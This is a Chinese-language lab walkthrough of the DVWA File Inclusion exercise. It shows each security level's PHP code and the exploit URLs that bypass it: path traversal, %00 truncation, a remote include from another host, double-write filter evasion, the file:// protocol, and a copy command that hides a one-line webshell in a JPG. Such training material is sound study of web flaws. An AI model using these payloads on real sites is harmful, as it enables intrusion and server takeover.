索引目录:
Low
Medium
High
Impossible
文件包含,主要由于php.ini配置不严格,allow_url_fopen=On是导致文件包含的元凶之一 和php函数运用的严谨程度
php文件包含常用函数:
include: 包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行
include_once: 这个函数跟和include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含
require: 跟include唯一不同的是,当产生错误时候,整个php文件停止运行
require_once: require_once语句和require 语句完全相同,唯一区别是PHP会检查该文件是否已经被包含过,如果是则不会再次包含
php.ini配置文件: allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5及以上仅存在本地包含
使用上面几个函数包含文件时,该文件将作为PHP代码执行,PHP内核并不在意被包含的文件是什么类型的。也就是说我们用这几个函数包含.jpg文件时,也会将其当做php文件来执行
Low
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
从Low级别的代码我们可以看出,服务端对上传的的page参数没有任何过滤
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行
漏洞利用:
1.本地包含:即包含本地文件
条件:开启allow_url_include
-
首先我们尝试包含本地一个不存在的文件
出现上图所示报错,从第一行警告我们可以看出它使用的是include函数,也直接爆出了含有include函数文件的位置
从第二行我们可以看出没有找到指定文件 -
我们再尝试包含一个存在的,在已经文件路径的前提下
-
我们也可以尝试使用
../
来进行目录穿越(../
表示返回上一层目录)
已知test.php的绝对路径在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
我们当前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/
下,由下图文件具体位置可以看出,一个../
就i返回到了有filetest目录的目录
注:配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的
这种情况多用于必须要文件后缀是php,jpg,jpeg,png等,只是为了上传时表示存在,真正解析时直接截断
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=../../../../../xampp/htdocs/dvwa/php.ini%00test.php
由于本次实验时7.3.4版本,无法演示
2.远程文件包含,这里我自己用虚拟机搭了另一个服务器
条件:php.ini配置中,allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件
发现利用成功,如果此时这是一句话木马,我们就可以用菜刀或者蚁剑进行连接,获得webshell了
你还可以通过url编码进行隐秘操作:
Medium
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
Medium级别的代码增加了str_replace函数,对page参数进行了处理,将http:// 、https://、 ../、..\
替换为空字符,即删除
漏洞利用:
- 使用str_replace函数也不是绝对安全的,因为我们可以使用双写绕过替换规则
例如page=htthttp://p://192.168.13.130/hello.php
时,str_replace函数只会删除一个http://
,于是page=http://192.168.13.130/hello.php
,成功执行远程命令
同时,因为替换的只是../
、..\
,所以对采用绝对路径(就是不使用…/)的方式包含文件是不会受到任何限制的
1.本地文件包含
但是我们如果非要用…/呢?那么我们就可以双写绕过
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php
,这样str_replace只删除了一个../
但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php
却不能执行,因为它直接检测到了两个../
,所以利用双写绕过,不要单独连起来,要嵌套起来
2.远程文件包含
- 双写绕过法
- 把
%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php
尝试url编码进行包含
经过编码后的url不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是page=http://192.168.13.130/hello.php
,因此读取失败
High
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch(pattern,string,flags):根据指定的模式来匹配文件名或字符串
pattern 必需 规定要检索的模式
string 必需 规定要检查的字符串或文件
flags 可选
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似安全,但是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下图:
如果是php文件,则不会解析而是显示其php代码,在html页面或源代码中
至于执行任意命令,需要配合文件上传漏洞利用。首先需要上传一个内容为php的php文件或jpg照片,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行,谨记,php的file://协议只能打开本地文件
图片插入一句话木马(b为二进制,a为ascii码)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蚁剑连接,连接时还需要先浏览网站,登陆账号,完成Session认证
Impossible
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
Impossible级别代码使用了白名单机制进行防护,page参数必须为include.php
、file1.php
、file2.php
、file3.php
之一,因此彻底消除了文件包含漏洞的产生